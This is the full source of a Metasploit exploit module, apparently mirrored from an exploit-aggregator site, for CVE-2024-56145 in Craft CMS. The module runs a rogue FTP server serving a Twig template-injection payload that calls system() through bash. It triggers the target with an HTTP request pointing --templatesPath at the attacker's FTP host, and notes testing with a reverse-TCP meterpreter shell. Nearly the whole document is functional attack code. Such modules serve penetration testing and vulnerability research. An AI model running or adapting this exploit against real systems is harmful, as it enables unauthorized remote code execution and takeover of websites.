Share
## https://sploitus.com/exploit?id=1337DAY-ID-39882
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::FtpServer
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Craft CMS Twig Template Injection RCE via FTP Templates Path',
        'Description' => %q{
          This module exploits a Twig template injection vulnerability in Craft CMS by abusing the --templatesPath argument.
          The vulnerability allows arbitrary template loading via FTP, leading to Remote Code Execution (RCE).
        },
        'Author' => [
          'jheysel-r7',         # Metasploit module
          'Valentin Lobstein',  # Refactor, Fix, and PoC
          'AssetNote'           # Vulnerability discovery
        ],
        'References' => [
          ['CVE', '2024-56145'],
          ['URL', 'https://github.com/Chocapikk/CVE-2024-56145'],
          ['URL', 'https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms']
        ],
        'Payload' => {
          'BadChars' => "\x22\x27" # " and '
        },
        'License' => MSF_LICENSE,
        'Privileged' => false,
        'Platform' => %w[unix linux],
        'Arch' => [ARCH_CMD],
        'Targets' => [
          [
            'Unix/Linux Command Shell', {
              'Platform' => %w[unix linux],
              'Arch' => ARCH_CMD
              # tested with cmd/linux/http/x64/meterpreter/reverse_tcp
            }
          ],
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2024-12-19',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
          'Reliability' => [REPEATABLE_SESSION]
        }
      )
    )
  end

  def vulnerable_file_list
    %w[/default/index.twig /default/index.html]
  end

  def get_payload
    "{{ ['system', 'bash -c \"#{payload.encoded}\"'] | sort('call_user_func') }}"
  end

  def send_ftp_response(cli, code, message)
    cli.put "#{code} #{message}\r\n"
    vprint_status("-> #{code} #{message}")
  end

  def on_client_connect(cli)
    @state[cli] = {
      name: "#{cli.peerhost}:#{cli.peerport}",
      ip: cli.peerhost,
      port: cli.peerport,
      user: nil,
      pass: nil,
      cwd: '/'
    }
    send_ftp_response(cli, 220, 'FTP Server Ready')
  end

  def on_client_command_user(cli, arg)
    vprint_status('on_client_command_user')
    if arg.downcase == 'anonymous'
      @state[cli][:user] = 'anonymous'
      send_ftp_response(cli, 331, 'Username ok, send password.')
    else
      send_ftp_response(cli, 530, 'Not logged in.')
    end
  end

  def on_client_command_pass(cli, arg)
    vprint_status('on_client_command_pass')
    if @state[cli][:user] == 'anonymous'
      @state[cli][:pass] = arg
      send_ftp_response(cli, 230, 'Login successful.')
    else
      send_ftp_response(cli, 530, 'Not logged in.')
    end
  end

  def on_client_command_cwd(cli, arg)
    vprint_status('on_client_command_cwd')
    if arg == '/default'
      @state[cli][:cwd] = '/default'
      send_ftp_response(cli, 250, "\"#{@state[cli][:cwd]}\" is current directory.")
    else
      send_ftp_response(cli, 550, 'Not a directory')
    end
  end

  def on_client_command_type(cli, arg)
    vprint_status('on_client_command_type')
    if arg == 'I'
      send_ftp_response(cli, 200, 'Type set to: Binary.')
    else
      send_ftp_response(cli, 500, 'Unknown type.')
    end
  end

  def on_client_command_size(cli, arg)
    vprint_status('on_client_command_size')
    if vulnerable_file_list.include?(arg)
      send_ftp_response(cli, 213, get_payload.length.to_s)
    else
      send_ftp_response(cli, 550, "#{arg} is not retrievable.")
    end
  end

  def on_client_command_mdtm(cli, arg)
    vprint_status('on_client_command_mdtm')
    if vulnerable_file_list.include?(arg)
      send_ftp_response(cli, 213, Time.now.strftime('%Y%m%d%H%M%S'))
    else
      send_ftp_response(cli, 550, "#{arg} is not retrievable.")
    end
  end

  def on_client_command_epsv(cli, _arg)
    vprint_status('on_client_command_epsv')
    send_ftp_response(cli, 502, 'EPSV command not implemented.')
  end

  def on_client_command_retr(cli, arg)
    vprint_status('on_client_command_retr')
    if vulnerable_file_list.include?(arg)
      conn = establish_data_connection(cli)
      unless conn
        send_ftp_response(cli, 425, "Can't open data connection.")
        return
      end
      send_ftp_response(cli, 150, "Opening data connection for #{arg}")
      conn.put(get_payload)
      conn.close
      send_ftp_response(cli, 226, 'Transfer complete.')
    else
      send_ftp_response(cli, 550, 'File not available.')
    end
  rescue IOError => e
    vprint_error("Data transfer failed: #{e.message}")
    send_ftp_response(cli, 425, 'Data transfer failed.')
  end

  def on_client_command_quit(cli, _arg)
    vprint_status('on_client_command_quit')
    send_ftp_response(cli, 221, 'Goodbye.')
  end

  def on_client_command_unknown(cli, cmd, arg)
    vprint_status('on_client_command_unknown')
    send_ftp_response(cli, 500, "'#{cmd} #{arg}': command not understood.")
  end

  def check
    vprint_status('Performing vulnerability check...')
    nonce = Rex::Text.rand_text_alphanumeric(8)
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path),
      'method' => 'GET',
      'vars_get' => { '--configPath' => "/#{nonce}" }
    )

    if res&.body&.include?('mkdir()') && res.body.include?(nonce)
      CheckCode::Vulnerable
    else
      CheckCode::Safe
    end
  end

  def trigger_http_request
    vprint_status('Triggering HTTP request...')
    templates_path = "ftp://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}"
    send_request_raw(
      'uri' => normalize_uri(target_uri.path) + "?--templatesPath=#{templates_path}",
      'method' => 'GET'
    )
  rescue StandardError => e
    vprint_error("HTTP request failed: #{e.message}")
  end

  def start_ftp_service
    if datastore['SSL'] == true
      reset_ssl = true
      datastore['SSL'] = false
    end
    start_service
    if reset_ssl
      datastore['SSL'] = true
    end
  end

  def exploit
    vprint_status('Starting FTP service...')
    start_ftp_service
    vprint_status("FTP server started on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}")
    vprint_status('Sending HTTP request to trigger the payload...')
    trigger_http_request
  end
end